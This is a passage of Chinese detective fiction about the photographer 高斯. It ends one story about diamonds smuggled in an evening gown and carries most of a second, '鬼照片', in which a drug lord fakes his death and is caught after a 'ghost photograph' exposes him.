高斯的心中,本来想要责备燕玲的.可是,当他一看到燕玲那样苍白的神色,和那一双失神的大眼睛时,他心中要讲的那些话,却全飞走了,他只是叫道:「燕玲,你回来了!」燕玲向后退了半步,但是她只向后退了半步,便立时向前奔了过来,她投进了高斯的怀中,高斯的左臂,痛得无法抬起来,然而他还是用右臂抱住了燕玲.
燕玲在哭着,高斯感到燕玲的眼泪,已渗透了他的衬衣,他轻轻地在燕玲的背上拍着,道:「别哭,燕玲,究竟是怎么一回事?我不相信你和莫尔西斯会是同一组织的.」「莫尔西斯!」燕玲失声叫了出来,「你……你已经知道了?」李玉芳曾经告诫过高斯,说燕玲是犯罪组织中的一员,要高斯切不可对燕玲说起自己已知道了一切,要不然,他可能会遭到危险的.
但这时,高斯却将李玉芳的话完全忘记了.他相信燕玲,是出自真挚的感情,那种信任,使得他将所有的证据,都视作无物.他点着头,道:「是的,我全知道了.
燕玲,你要将大量的钻石,偷运到东京去是不是?」燕玲退开了几步,她的回答,却是令高斯心碎的.
她低下头,低沉着声道:「是的,我要将大量的钻石,用走私的方法,运到东京去.」高斯僵立着,他张大了口,可是不知道说甚么才好.
燕玲突然转身,扑到一张椅上,这:「我虽然不愿意那样做,可是,我却不能不听他们的话.」高斯大踏步走了过去,道:「为甚么?燕玲,是他们威胁你,是不是?」燕玲现出十分痛苦的神情来,道:「是的,他们威胁我,我父亲是他们之中的一员,我也是直到最近才知道.以前我一直以为我父亲是云游四海的旅行家,所以将我从小就放在贵族化的寄宿学校之中.现在,我才知道不是,我父亲是犯罪份子,他在最近两年失踪了,警方正在千方百计找他,如果警方知道我是他的女儿──」燕玲突然住了口,失神地望着高斯.
第五章
高斯笑了起来,此时他觉得自己从来也没有这样高兴过,燕玲果然不是犯罪组织中的一员,他想得不错.但是他的笑容立时收敛了起来,他十分严肃地道:「燕玲,对你父亲的犯罪纪录,你是一点也不用负责的,但是如果是你自己犯了罪,你却要对自己的罪行负责.」燕玲的身子震了一震,呆了半晌,才道:「我该……怎么办?」「和警方联络,将莫尔西斯交给你的钻石,交给警方,让警方来保护你.」燕玲的神色十分犹豫,她道:「刚才,我被另一些歹徒绑架……后来他们又将我放了……警方能保护我到甚么时候?」高斯握住了燕玲的手,道:「别怕,我们在一起,可以合力应付他们.那些钻石在甚么地方?燕玲,你可知道警方早已注意你了,你新雇的模特儿李玉芳就是高级女警官,是整个反走私计划的负责人.」燕玲呆了好一会,才指向那件镶满水钻的晚礼服.
「甚么?」高斯不明白.
「他们知道东京有一个服装比赛,全世界各地的服装设计师都会去参加.所以,他们逼我设计一件这样的晚礼服,这件晚礼服中,镶有上万颗的钻石,就杂在中间.
他们要你先替衣服摄影,刊登在第一流的杂志刊物上,弄得全世界都知道.然后,由我的模特儿,穿着这袭晚礼服上机,堂而皇之地被人接进海关,海关人员是绝想不到,大批盗窃得来的钻石就在他们的眼前,大摇大摆地经过.」高斯望着那件晚礼服,缓缓地道:「好聪明的一个计划!太聪明了.难怪警方想不出你用甚么法子进行走私.」燕玲的身子在微微发着枓,她道:「如果不是你突然出现,明天一早……我就要实行这计划了,到时,负责走私案的高级警官,会带着那一批钻石,经过海关.」高斯拿起了电话,当他拿起电话后,发现电话线被切断了.
高斯忙道:「快拿一个盒子,将晚礼服包装起来,你屋子附近,密布着警员,我们只消一出屋子,就可以和警方取得联系了.」燕玲转身去取盒子,高斯将那件晚礼服,从衣架上取了下来,小心地折叠着,钻石和水钻,看来同是闪亮的物体,但是由于价值的不同,前者可以引起许多的犯罪,而后者却不会.照这样看来,水钻实在应该比钻石看来更可爱才是.
当他们将那件晚礼服放好,高斯提着盒子,准备和燕玲一起离开之际,屋外突然响起呼喝声和一阵密集的枪声,高斯陡地一怔,道:「快熄灯.」燕玲忙奔过去熄了灯,又来到窗前,和高斯一齐伏着,向外看去.只见在路上,有两辆车子停着,枪火从路边和车中冒了出来.
从其中的一辆车中,有一个人打开车门,直冲了出来,但是他才冲出了一两步,枪声过处,他已中枪倒地了.在那人倒地的一刹间,高斯和燕玲两人,都不约而同地叫了起来:「莫尔西斯!」他们自然看不清中枪倒地的那人的脸面,但是从身影看来,他们都可以认出是莫尔西斯.
莫尔西斯自然是想来和燕玲会面,或者他是想来改变计划的,但他却不知道警方已在燕玲的住所旁,布下了天罗地网,他等于是自投罗网了.
枪声静止了.接着,便是警车的呼号声,自远而近,迅速地传了过来,两辆警车,在燕玲的住所前停下,第一个跳下车来的是李玉芳.
高斯拉着燕玲,向楼梯奔去,燕玲在奔下楼梯之际,顺手点亮了客厅中的电灯,高斯将衣盒向刚走进来的李玉芳抛去,道:「接住,钻石在里面.」李玉芳一伸手,接住了衣盒,高斯在突然之间,感到说不出的疲倦,他坐倒在一张沙发上,而燕玲也直到这时,才看到高斯手臂上的血渍,她惊叫了起来:「你受伤了!」高斯闭上眼,他的伤再重,他也不在乎了.
全文完
鬼照片
第一章
高斯最讨厌的事,就是当他在暗房中工作时,受到别人的打扰.可是,偏偏当他用心地将两张底片叠在一起,想晒出一张看来有浮雕感的照片之际,对讲机「滋滋」地响了起来.
高斯本来想不去理会它的,但是那种「滋滋」声完全扰乱了他的工作,他哼了一声,用力按下了对讲机的键,他也立时听到他办公室女职员黄小姐的声音,道:「高先生──」「我在工作.黄小姐,」高斯实在很不高兴,他不但打断了她的话头,而且,还加重语气地说:「你是知道的,我在暗房工作的时候,是不喜欢有人来打扰我的.」「我知道,」黄小姐的声音像是受了委屈,「但是这位先生,他一定要见你,而且要立刻见你!」高斯又哼了一声,看来他的工作是非暂时停顿一下不可了,「他是谁?有甚么事?」高斯立时听到一个十分急促的声音,道:「是我,高先生,我叫诸新荣,我们曾经是同事!」高斯皱了皱眉.诸新荣,这对他来说,实在是一个陌生的名字,但听他的声音,他倒真像有一点要紧的事,高斯答道:「好,我就出来.」他顺手关掉了对讲机,将几张底片夹好,走出了暗房,立时看到一个身形矮小,样子俗不可耐的男子,正在团团乱转.一看到那男子,高斯倒记起来了,几年前,他曾代一个朋友的职位,编过几天画报,那位诸先生,就是这家画报社的经理.高斯还记得第一次见到他,这位诸先生就自称是业余摄影家,但是当高斯看了他的作品之后,却连最普通的恭维话也讲不出来.
高斯想不出诸新荣有甚么急事要来找他,他已经想好了,如果诸新荣是要他再像上次那样负责几天编务的话,他一定推辞,因为他自己的业务已经够忙了.
诸新荣向高斯走过来,两只手握住高斯的手,用力地摇着,道:「高先生,我想这件事,只有你才能解决,因为你是专家.」高斯所做第一件事,便是自诸新荣的双手中,将自己的手用力缩回来,然后,他才道:「请坐,不知道有甚么事?」「我,我拍了几张照片.」诸新荣说.
高斯苦笑着,像诸新荣这样的人,在社会上可真不少,你拍了一张照片,和别人有甚么关系?但为了礼貌缘故,高斯却隐忍着,只是冷冷地道:「据我所知,世界各地的任何沙龙,绝没有一个可以凭人事关系而推举作品的,诸先生的大作还是──」高斯的话还没有说完,诸新荣已经忙不迭摇头笑道:「不,不,高先生,我拍的那几张照片是鬼照片.」高斯呆了一呆.「甚么?」「鬼──照──片!」诸新荣一字一顿,语气十分凝重.
高斯笑了起来,道:「诸先生,如果你想和我开玩笑,你可曾听得人说过,我的脾气很不好.同时,在空手道和柔道方面,我都可以算得上是个高手.」高斯的语气虽然还算温和,但是他的话却已令得诸新荣后退了几步,坐倒在沙发上,他忙道:「我不是开玩笑,是真的,你可以看.」他将一只牛皮纸袋递给高斯的同时,手在发着抖.高斯知道诸新荣是一个相当讨厌的人,但高斯也知道,如果诸新荣的心中,不是有着巨大的恐惧,那么他也决不会有那种恐惧的神情.
高斯本来根本不想理他,只想将他轰出去就算了,但这时,他却接过了那牛皮纸袋来,因为对于稀奇古怪的事情,高斯有着天生的好奇.
而鬼照片(如果真是鬼照片的话),自然是极稀奇古怪的事情.
高斯一接过牛皮纸袋,就立刻打了开来,在袋中抽出了四张照片来,照片已被放大了十二寸,摄影的技术是第八流的.四张照片全是两个窗口,窗内只有朦胧的亮光,第一张只看到窗口内有三个人影,第二张仍是几个黑影,只不过黑影的姿势不同.
第三张却令高斯也吓了一跳,因为在窗前出现了一个人脸,那人披头散发,神态十分狞恶.第四张,则是那个人伸手将窗子关上时被拍下的.
除了那四张照片之外,则是四张底片,那四张照片,就是从那些底片洗出来的.
高斯看了一看,将服片放回纸袋中,他道:「诸先生,我不明白这是甚么意思?」诸新荣道:「我也不明白──」高斯立时道:「我是说,我不明白你将这四张照片,拿来给我看是甚么意思?」「哦,是……我应该先解释一下,」诸新荣苦笑着,「我是一个业余摄影家──」高斯哼了一声,道:「你最好直截了当一些.」「是……是,昨天晚上,我新买了一套远距离摄影镜头,我迫不急待地想试拍几张.于是,我就在自己住所的窗口,用相机对准了对面的大厦,拍了几张照片.」「诸先生,那样做,是相当不道德的.」「可是……可是我拍摄的那几个窗子,是我的产业,一直由我租给别人住的.」「那也一样,你的行为和偷窥狂差不多.」「可是,」诸新荣急急辩解:「那户住客,早在一个月以前搬出去了,那层房子是空的!」高斯呆了一下,那层房子是空的!但是诸新荣却在无意中,拍到了几张照片,照片中显示出有人影,还可清楚地看到一张十分狞恶的人脸.
这其中,自然多少有点古怪了.
可是高斯仍然未曾将之和「鬼」连在一起,向空房子拍照,而拍出了人来,那可能太巧了,最大的可能,自然是凑巧有人进了那屋子.
高斯摊了摊手,道:「那没有甚么奇怪的,我想你应该去报警,你来找我有甚么用?那一定是有人弄开了门,偷进了你的产业.」诸新荣哭丧着脸,道:「我才一冲出底片,看到有人的时候,我也是这样想,但是当我将照片放大,看清了那张人脸后,我却不那么想了.」高斯有点懒得理他了,冷冷地道:「又怎么了?」诸新荣声音压得十分低,显得十分神秘:「高先生,我知道我拍到了一张鬼照片,那可能是世界上第一张如此清晰的鬼照片,不论在科学研究上或是在摄影方面,都是极有价值的.」高斯望着诸新荣,心中多少怀疑着诸新荣的神经,可能不怎么正常.
可是诸新荣却又道:「因为这个人我是认识的,他就是租我那层屋子的人!」高斯道:「那更简单了,他住过你的屋子,自然有钥匙,他一定是忘了甚么东西,回去拿东西的.」「如果是那样的话,那……太可怕了.」高斯忍不住恼怒道:「那有甚么可怕.」「因为……因为他是上个月跳楼自杀的.就是因为他跳楼自杀,他自杀之后,他家人搬走了.而害得我这层楼,一直租不出去.」高斯不禁呆了几秒钟,才道:「你是说,这个人早在一个月之前,已经死了?」诸新荣的声音更加紧张,道:「是的,一个月前,他从那个窗口跳下来,那是十七楼,当他跌到地上之后,又恰好有一辆大卡车从他的头部辗过,所以……」诸新荣讲到这里,身子不由自主,发起抖来.连高斯在刹那之间,也感到了鬼影森森!高斯忙道:「这个人叫甚么名字?」「他叫汪权,租我的房子住已有三四年了.我每次去收租,都可以看到他的,现在……他死了之后,冤魂不散,竟让我拍到了他的照片,高先生,你……」诸新荣怪气地说着,更令高斯十分不自在,他大喝了一声,道:「住口!」然后,他又从那牛皮纸袋中,将那几张照片取了出来,又仔细察看着那四张照片,凭他的经验来判断,那绝对不是伪造的.一个死了已有一个月的人,怎可能再在空屋中出现呢?
高斯想了片刻,才道:「诸先生,这件事的确十分有趣,但,那究竟是不是鬼照片,还需要进一步研究.如果证明那真是鬼照片的话,那么我可以替你将照片送到伦敦一个专门研究鬼魂的会社中去,使照片在他们的会刊中发表,你可以闻名世界了.」诸新荣十分高兴,但是在高兴中,他却有点担心,道:「高先生,如果那是真的鬼照片,那么……汪权的鬼魂会不会因为我拍了它的照片,而来找我麻烦?」高斯有点啼笑皆非,「诸先生,我只是摄影专家,而绝不是捉鬼专家──对了,事后你有进那空屋检查一下没有?」「我去过,但没有发现.」「好的,我会和警方联络一下,调查一下汪权的来历,当然我也会和灵魂学家研究鬼魂存在的可能性,将你拍到的照片给他看,现在我还有工作要做,请你──」诸新荣站了起来,道:「多拜托,我告辞了.」诸新荣推开门走了出去,高斯打电话找李玉芳,自从上次事件之后,高斯就认识了这位女警官.可是李玉芳不在,高斯只得将这件事暂时搁下来,又回到暗房去做他的工作.
可是,他进暗房才不过几分钟,对讲机却又「滋滋」地响了起来,高斯按下了键,大声道:「黄小姐,这一次是谁?」「是警官,高先生.」黄小姐的声音十分惶急.
警官!高斯也不禁呆了一下.
第二章
高斯连忙走出了暗房,他看到一个警官和一名警员,那警官立时迎了上来,问道:「高斯先生,你是办公室的负责人吗?」高斯点头道:「是,阁下──」「你认识一个叫作诸新荣的人?」警官直盯着高斯,像是怕他不承认,又补充了一句:「他才刚离开你的办公室的.」高斯已经感到,在诸新荣的身上,一定有着不寻常的事情发生了,他点头道:
「不错,他才走了五分钟,他怎么了?」「他被人在背后射了三枪,已经死了.」警官回答着.
高斯陡地吸了一口气,这是十分令人难以相信的事,诸新荣在五分钟前,还在和他讲话,五分钟后,却听到了他的死讯,高斯实在需要相当时间,才能接受这一个事实,是以他呆住了没出声.
警官等了他半分钟才又问道:「请问,高先生和死者是甚么关系?」「很久以前,我们曾是同事,但也没有甚么来往.」「那么他为甚么来看你?」「说来很好笑,他拍了几张照片,那是──」高斯刚讲到这里,电话铃突然响了起来,高斯停了一停,女秘书拿起电话听了一下,便将电话向高斯递来.
高斯接遇了电话,立时听到一个很粗哑的声音,凭高斯的经验,一听就可以听出,那是故意假扮出来的哑声,那声音说:「你是高斯么?你不必说甚么,只要听我对你说就行了.」高斯呆了一下,才道:「好的,你要说些甚么?」「有警员在你的办公室中,是不是?希望你还未曾将诸新荣拍到鬼照片一事告诉警方,要不然,你将步诸新荣的后尘,你知道,他死了.」高斯不动声色,像是接听一个十分普通的电话,回答道:「还没有提及.」「那就好.千万别说出来,要不然对你来说,将是一个悲剧,我会再和你联络的.」对方讲到这里,突然挂断了.高斯放下电话,警官已在问:「诸新荣拍了几张甚么照片,要来找你?」高斯本来是准备将诸新荣来找他的经过,全部告诉那位警官的,但是就在他要讲出来的那一刹间,他却接到这个无头电话.无头电话令他改变了主意.
他绝不是一个轻易为人所威胁的人,如果是的话,他一定不会改变主意,而是将一切经过讲出来,要求警方保护.但是,他却并不将那个无头电话当作是一种威胁,而当它是一种挑战,他不会不接受挑战的!
是以,他笑了一下,道:「没有甚么,他十分热衷于参加沙龙,希望我可以替他将作品寄出去,那是几张技术十分拙劣的照片,你可要看?」警官显然已不感兴趣,摇着头,已转身向外走了,高斯忙问道:「诸新荣中枪之后可是立即死去的么?他难道一句话也没有说?」「有,他讲了一个字.有人看见他走出电梯,突然之间,他忽然发足狂奔,也没有见到他究竟看到了甚么,他奔到门口,便中了枪,没有人注意到枪声──枪是配有灭音器的,他倒在大厦门口,我是第一个赶到他身边的人,他只讲了一个字:鬼!」「鬼?」高斯又问着.
警官苦笑了一下,道:「是的,他叫道:鬼!接着,他便死去了,嗳,鬼!」高斯完全能理解那警察的心情,一个人在繁盛的商业区,在白天,被公然枪杀,他的遗言只是一个字:鬼!天下还有甚么比这更难以理解的事吗?
警官向外走去,高斯仍然呆立着.高斯在那一刹间,心中想到了许多事,最后,他的思路,集中在那个「鬼」字上.
高斯并不是绝对不相信有鬼的存在,但是他却决计不能接受,一个人死了之后变成鬼,这个鬼还被拍入镜头这样的事实.而且,事实还不止如此,诸新荣一出电梯之后,便拔足狂奔,别人不知他看到了甚么,诸新荣自然知道的,他也将他看到的在临死前叫了出来,那便是:鬼!
他看到的那个「鬼」,自然便是开枪射死他的凶手,也就是照片中的那个「鬼」,更就是刚才打电话来的那个「鬼」.高斯更可以肯定,那个「鬼」会来和他见面,向他索回那些「鬼照片」.
归根结底一句话,那根本不是鬼,而是人!
现在的问题是,诸新荣曾说那人叫汪权,早已跳楼自杀的人,现在他又以「鬼」的姿态出现、活动,他当然没有死,死的可能是另外一个人.
这样一层层推断下去,高斯只觉得事情变得十分复杂,因为案中有案,纠结着极为严重的犯罪行为.高斯想了不到二十分钟,他觉得第一件事,便是要向警方了解一下汪权跳楼自杀的那件事,他已肯定死的不是汪权,但还得要警方的证实.
他自然而然地想到了女警官李玉芳.向李玉芳查问有关汪权的事,自然是最恰当的了.
可是,当他和李玉芳通过电话之后,他却忍不住苦笑.李玉芳告诉他,汪权是自杀的,跳楼落地之后,又被车子辗过,面目模糊不清,但是根据指纹,却可以肯定死者是汪权.李玉芳还告诉高斯,汪权有过两次贩毒记录,当时,汪权是贩毒的小拆家,近年来,警方似在不断地注意他,但是却并没有甚么可疑的地方.
高斯再三表明,汪权可能没有死,差一点他便说出有关鬼照片的事来了.但是,李玉芳却也肯定地告诉他:汪权死了,那尸体是汪权的,因为指纹相同!
指纹相同,那是铁证,证明汪权确然死了,因为指纹相同的机会是六千万分之一,近乎不可能.而汪权确实死了的话,那么高斯所作的假设,便全部被推翻了.高斯已经推断鬼照片中的是人而不是鬼,但汪权既然死了,那自然是鬼而不是人了.
真的有鬼?而且还会白天出现,持枪杀人?
第三章
那实在是不可思议的事,高斯放下了电话,将那几张照片,放进上衣袋中.
他决定去见李玉芳,警方一定有汪权的照片,他可以将鬼照片中的汪权拿来对照一下,看看是不是同一个人.汪权的死亡如果是事实,那么唯一的可能,便是有人以精巧的化妆在假扮着汪权,可是,那又是为了甚么?
高斯一面想着,一面拉开了他办公室的门,准备向外走去,但是他才跨出一步,就立时退了回来.
在门外,直挺挺地站着一个人,那人足有六尺高,他一声不响地站在门口,以致高斯一拉开门之后,几乎和他撞了个满怀.
那人的脸,出奇地苍白,在他的身上,似乎散发着一种难以形容的霉臭味.而当高斯看清了他的脸面之际,他倒抽了口凉气,一个「鬼」字,几乎就要脱口而出了;那个人,就是照片中的汪权.看来,诸新荣的那张用远程摄影镜头拍成的照片,真是杰作,因为他拍到了汪权的特有神态,也突出了汪权苍白的脸!
高斯向后退,但那人却并不向前走来,他只是咧开唇,现出一个十分难看的笑容,然后,才哑着声道:「高斯先生,想出去?」高斯也立即认出,那就是无头电话中的声音.
在那一刹间,高斯看到对方并没有跨进门来,他也突然有了决定,陡地一推门,「砰」地一声响,将门重重地关上.他突如其来的行动,将女秘书吓了一跳,抬起头来,望定了他.
高斯连跳了几步,才缓过一口气来,他向女秘书挥了挥手,表示回答她的追问.
然后,他顺手抓了一个水晶玻璃的烟灰缸,又再度拉开门来.他是准备一拉开门来,便向门口那个「鬼魂」展开攻击的.
但是门一拉开之后,他又怔住了.汪权已经不见了!高斯连忙向走廊两端看去,人来人往,没有甚么异样的地方.高斯这时更可以肯定诸新荣一出电梯所见到的,就是刚才在门口出现的汪权.
那么,汪权是有枪的,汪权刚才之所以没有用枪来袭击他,是因为他主要的目的,是想得回那几张照片之后……高斯想到了这里,不禁感到了一股寒意,他立时走进了摄影室,用特种的相机,将那几张照片翻拍了一遍,留下了底片,然后才又带着那几张照片,走出了办公室,走廊中仍然没有甚么异样,可是当高斯走出了大厦之后,他却觉得有人在跟着他.
那或者只是心理作用,因为高斯好几次回头,都没有看到甚么可疑人物.天色十分昏黑,劈淅淅沥沥地下起雨来,行人的步伐都十分匆忙,使人的心中更有一种十分不安的感觉.
高斯突然穿过了马路,站在一个橱窗之前,在橱窗玻璃的反映中,他看到一个身形相当高大的男子匆匆过了马路,那人头上的一顶雨帽拉得十分低,看不清他的脸,但是高斯根本不用看他的脸,也可以知道这人是汪权.
汪权一直跟着他,这个汪权是人还是鬼?高斯转过头去,已准备窜进一条横巷中,但突然他的身边,又多了两个人.
两个突然出现在高斯身边的人,一边一个,将高斯夹在当中,而且其中有一个,立时挽住了高斯的手臂,高斯用力挣了一挣,另一人已将掩在报纸下的手枪,向他露了一露.
高斯一呆,立时苦笑道:「两位,你们一定认错人了.」挽住高斯手臂的那人呆了一下,他的尃容使高斯联想到一头大猩猩,只听得他沉声道:「走吧!高先生.」高斯继续苦笑着,他自然知道那两个人并没有认错人,他也知道,他之所以会遭到那两个人的挟持,必定是诸新荣给他带来的麻烦,也就是说,是那张照片带来的麻烦.
高斯逼得向前走着,他们走在最繁华的街道上,不知有多少人迎面而来,擦身而过,可是没有一个人发现他们三个人之间,有甚么异样.
他们很快走进了一幢大厦,进了电梯,电梯中并没有别的人,一名汉子立时用一幅布将高斯的双眼蒙上.高斯本来是可以趁机反抗,但是冰凉的枪口,却像是毒蛇一样吸贴在他的颈际,令得他不敢乱动.
不到一分钟,他就被推出电梯,向前走着,等到他停下,蒙眼的黑布也被解去之后,他发现自己是在一间布置得十分华丽的会客室中.
那会客室挂着水晶吊灯,铺着暗绿色的地毯,四面墙壁,都镶着桃花心木.在一张十分巨大的安乐椅上坐着一个人,正目光灼灼地望着他.
高斯才一和那人目光接触,心头便陡地一震,那人的面色极其苍白,高斯已不能算是第一次见到他的了,他就是汪权.
高斯回头看去,挟持着他前来的那个汉子,他正站在身后不远处,虽然已收起了枪,但是他们那种凶邪的眼光,不禁令得高斯感到自脊背上起了一阵寒意.
汪权望着高斯好一会,才冷冷地道:「高先生,幸会.你不能怪我来找你的麻烦,那是诸新荣的不是,你明白我的意思么?」汪权讲话的声音,十分难听,但无论如何,那总是人的声音,而不是鬼的声音(虽然谁也未曾听到过鬼的声音),高斯的胆子也壮了些,他摇着头,道:「我不明白你那样说是甚么意思.」汪权沉声道:「请坐,我对你并没有恶意,只不过想请你将那几张照片,连同底片,一起交出来.而且,再也别对别人提起这件事来.」刹那间,高斯的心中,迅速地转着念,他首先想到的是,那汪权是甚么人?何以他置身在那么华丽的会客室中,有着带枪的手下?高斯自然也想到,何以汪权明明活着,但是在官方的记录上,他却是一个已经跳楼自杀的「死人」?
这其中究竟有着甚么秘密呢?高斯只顾思索,并没有立刻回答汪权的话,汪权的声音,已经变得十分难听,如同狼嗥一样:「高先生,我的话你听到了没有?」「自然听到了.」高斯急忙回答:「那当然可以.这几张照片,本来我留着就没有甚么用,但汪先生,你不是一个死人么?」「嘿嘿,」汪权奸笑起来,「我劝你别多问,你若是再好奇下去,我仍然是活人,而你可能变为死人了!」高斯并没有再说甚么,但是他的心中却再清楚也没有,汪权想要回那照片,那一定是不想让人家知道他还活着,而他在得到照片之后,会对自己怎样呢?
他一定会杀人灭口!因为唯有高斯知道他还活着,而且可以毫无疑问地肯定他就是谋杀诸新荣的凶手!
高斯感到自己的处境十分危险,他勉力镇定心神,道:「好的,我不再多问,我去拿那些照片,我怎么交给你?我来的时候被蒙住眼──」高斯的话还没有完,汪权已冷冷地道:「不用你去拿,照片放在甚么地方,我们派人去拿.」「可是……可是照片放在我的文件柜中,那是锁着的.」高斯急急地说,他本来想借着去拿照片的机会脱身的,但汪权显然一点也不笨.
「你有钥匙的,是不是?将钥匙交出来,再打电话通知你的女秘书,说你派人来取照片,你的女秘书一定不会怀疑的.」高斯的手心在出汗,这样一来,他是没有机会逃走了,他脑中乱到了极点,汪权已在催促,道:「快拿钥匙来,别想拖延时间.」汪权一面说着,一面打开了抽屉,取出了一柄手枪来,又取出了灭音器,缓缓地向枪管上旋去,高斯的身子猛地向前一纵,他想趁那一刹的机会,向前扑去.如果他能够扑过去的话,那么虽然他和汪权之间距离相当远,他仍然可以将汪权压倒,说不定可以有机会夺过汪权手中的手枪.
但是,他身子一动,他的衣领,便突然被人抓住,紧接着,他的腰际,受了重重的一击,那一击令得他的身子扭曲.而等到他再站直时,他的双臂已被人扭到了背后.汪权手中的枪,对准了他的脸,枪口离他的面门,只不过半寸.「高先生,」汪权的声音冰冷,「照我的话去做吗?」「做了后,你会将我怎样?」「当然是放你离去,高先生.」高斯明知道自己问也是白问的,汪权绝不会在这时候就要杀他灭口的,但是,等到他得到了那些照片之后,事情就不同了.高斯还想挣扎;但是汪权已在他的身上,搜出了他的那串钥匙来.
汪权抛动着钥匙,退了开去,在身后抓住高斯的那名汉子,推着高斯向电话之前走去,来到了电话之前,汪权喝道:「打电话给你的女秘书,除了我告诉你的话之外,甚么也不准多说!」高斯的面色十分苍白,他是真正跌入了一个难以跳得出的困境中,他没有机会逃出去,也没有反抗的余地.看来,只有照着汪权的话去做,那还可以拖延些时间.于是,当他的右手被松开之际,他默默地拿起了电话.
第四章
也就在他拿起电话那一刹间,他的心中突然闪过一个念头,那念头使他感到有一线生机,他拨动着电话号码,一等到那边有人接听,他就大声道:「玛莉,我是高斯.你听着,诸先生交给我的那几张服片,就是那个出门便被枪杀的诸新荣,对了,他有几张照片交给我,我锁在文件柜中,我知道你没有钥匙,我会派一个人,带着我的钥匙来,你让他进我的办公室,去取那些照片,我当然是高斯,你难道听不出我的声音?你照我的吩咐去做就是了,如果有人来找我,吩咐他明天再来!」高斯几乎一刻也不停地讲着,一讲完,他就立时放下了电话,然后转头道:「你满意了么?」汪权点头阴笑,向一名大汉一指,道:「亚七,你去一趟.记得,对高先生的女秘书要温文一点,取到了照片,立即回来.」那大汉接过汪权抛给他的钥匙,走了出去.汪权用枪口指着沙发,道:「请坐,高先生.」高斯并不坐下,反问道:「现在我可以离去了么?」汪权道:「我还有话问你,诸新荣在交照片给你的时候,他对你说了些甚么?」「他说……他说你是他的房客……他是无意中拍到了那些照片.他说那是十分有价值的鬼照片,要我公开发表,这全是他说的话.」「你想如果照他的话去做了,那便会怎样?」「他……要取代你的位置?」汪权撮着唇,发出「啧啧」的声响来,道:「诸新荣的演技,一定十分了得的,他竟使你相信我真的是他的房客,而他以为我是死了?难道你在他身上,一点也没有看出,他和我是合作了十多年的合伙人?」高斯道:「你们合伙……干非法勾当?」汪权并不回答,他用十分缓慢的动作,扳下了他枪口的保险掣,道:「高先生,虽然我不准备让你活着离开这里,但是却一样不想让你知道得太多,诸新荣想害我,却不料他的一个手下向我告了密,反令他自己死在我的枪下.同时也害了你!」高斯的额上,沁出了汗珠来.他竭力摇着头,道:「不,你已经死了的,警方的记录很清楚,跳楼自杀的指纹,是汪权的指纹.」汪权脸上的笑容消失了,他厉声道:「你认识警方的人,向他提及过那些照片?」高斯心中紧张之极,他是死是生,就要靠他这时的回答了,他忙道:「我在警界没有熟人,但是看了那些照片之后,我为了好奇,曾打电话到警局去,询问你跳楼自杀的事.」「你提及了那几张照片?」汪权的脸色更难看.
「我……只是约略地提了提……我说我有几张你的照片,但是警方却像是不感兴趣.」「你没有说明那是我『死』了之后,才被人拍到的照片?你不会说出诸新荣拍到我『死』后的照片来?」汪权仍然神色紧张地追问着.
高斯摊了摊手,道:「你大可不必紧张.事实上,我就算说了,也不会有人相信的,谁会相信一个早已跳楼自杀死了的人,会被人拍到他的照片呢?」汪权阴森森一笑道:「但如果警方看到那些照片的话,他们就会怀疑.这便是诸新荣希望你发表我的照片的目的.警方一怀疑后,他可以取代我的地位,我就不能继续以死人的身份活动了.」汪权讲到这里,得意地笑了起来.他手中的枪渐渐提高,高到枪口对准了高斯的面门.
高斯只觉得在对方的枪口中,似乎有一股凉气直射出来,冷得他的身子,也不由自主发起抖来,他忙道:「你已经可以拿到照片了,你──」汪权尖声道:「你不必多说了,我不想有人知道这件事;在毁灭照片的同时,我还要毁灭你.」高斯的面色,变得出奇的苍白,摇着自己的头,道:「那是不可能的,你已经死了!你是一个死人,你是不能杀死我的,我一定是在做恶梦.」「我是一个死人,但那只是警方的记录.」汪权回答.
「但是那跳楼自杀的人,指纹和你的是一样的.」高斯呆了一下,他发觉自己又多知道一项汪权的秘密了.他立时道:「你的意思是──」「是的,在我决定要『死』去之时,我便换掉了我原来的指纹记录,并且换上那个真要死去的倒霉鬼.这一点变化,你还想不通么?」「可是你怎么能够换掉警方的档案?」「钱可通财,兄弟!」高斯苦笑着,道:「原来你们干大买卖,连警方的人员也全被你们收买了.」汪权阴森森地冷笑着,手枪向前伸出.高斯在突然间,反身向下一蹲,陡地向旁滚了开去.汪权的枪发出了十分轻微的「啪」地一声,但是那一枪并没有射中高斯,而是射在门上.
汪权手腕一移,枪再向高斯瞄准.而就在这时,「砰」地一声响,门被撞了开来.首先进来的,就是那个被汪权派人取照片的大汉,他已受了伤.自他的胸口,流出鲜血来,一扑进门来,他就跌在地上.
汪权喝道:「你──」他只喝了一个字,就呆住了.在那汉子扑了进来后,四名警员已然冲进来,齐声喝道:「放下枪来!」刹那间,汪权脸上那种不知所措的神色,实在是难以形容的.因为他实在想不通,警员是怎么来的?从现在这种情形看来,警员像是他派去取照片的汉子带回来的,然而那人是他多年的亲信,怎么可能呢?
汪权并没有放下枪,他反倒向前连射了两枪.一方面,他的身子在向后退,已冲进来的四名警员中一个受了伤,但是其余三个警员,则迅速地散开来,而且立时向汪权还击.
汪权的身子急速地后退着,退到了窗口,他已经再也没有退路了,他用力撞开窗户,枪声再响,只听得汪权发出了一声怪叫.他可能是中了枪,也可能是身子向后仰得太甚,失去了控制.是以他向窗外直跌了下去.而那窗口离地面是十四层楼高.
汪权的叫声还在屋子内回荡,但人却已跌了下去.三个警员冲到窗前,向下看去,下面的街道上已乱成一片.汪权的身子扭曲成一团.
当高斯转过头来时,他看到全副武装的李玉芳.李玉芳正在命令警员小心搜查这间「贸易公司」中的一切文件.高斯来到她的身边.李玉芳笑道:「高先生,你立了一次大功,使警方破获了一个侦查许久,仍然未曾破获的贩毒集团.」「汪权是这贩毒集团的头子?」「是的,或者更该说是汪权和诸新荣.汪权因为过去曾有个案底,活动起来不是十分方便,所以在组织中,是诸新荣占上风.但自汪权『死』了之后,警方完全放弃了对他的注意.他的势力膨胀,诸新荣感到受到了排挤,自然要想法子来对付他.」高斯苦笑了一下,道:「诸新荣利用了我?」「是的,诸新荣利用远摄镜头,拍了几张汪权的照片,他希望这些照片公开发表后,警方会怀疑.那么,汪权的活动受到限制,他自然又可以得势了.但是,他的一个手下却出卖了他,以至被汪权知道了这件事.可是等汪权找到他时,顺片已在你手上了.汪权愤而将他杀死,那时警方还料不到案中大有文章.」高斯忙道:「汪权曾说,他在警方档案中的指纹,是早已换上了一个月之前的死者指纹,所以警方才相信死者是汪权,警方档案室中有人受贿.」李玉芳点头道:「我们会调查这件事的.你的那个电话,开始听得我莫名其妙.
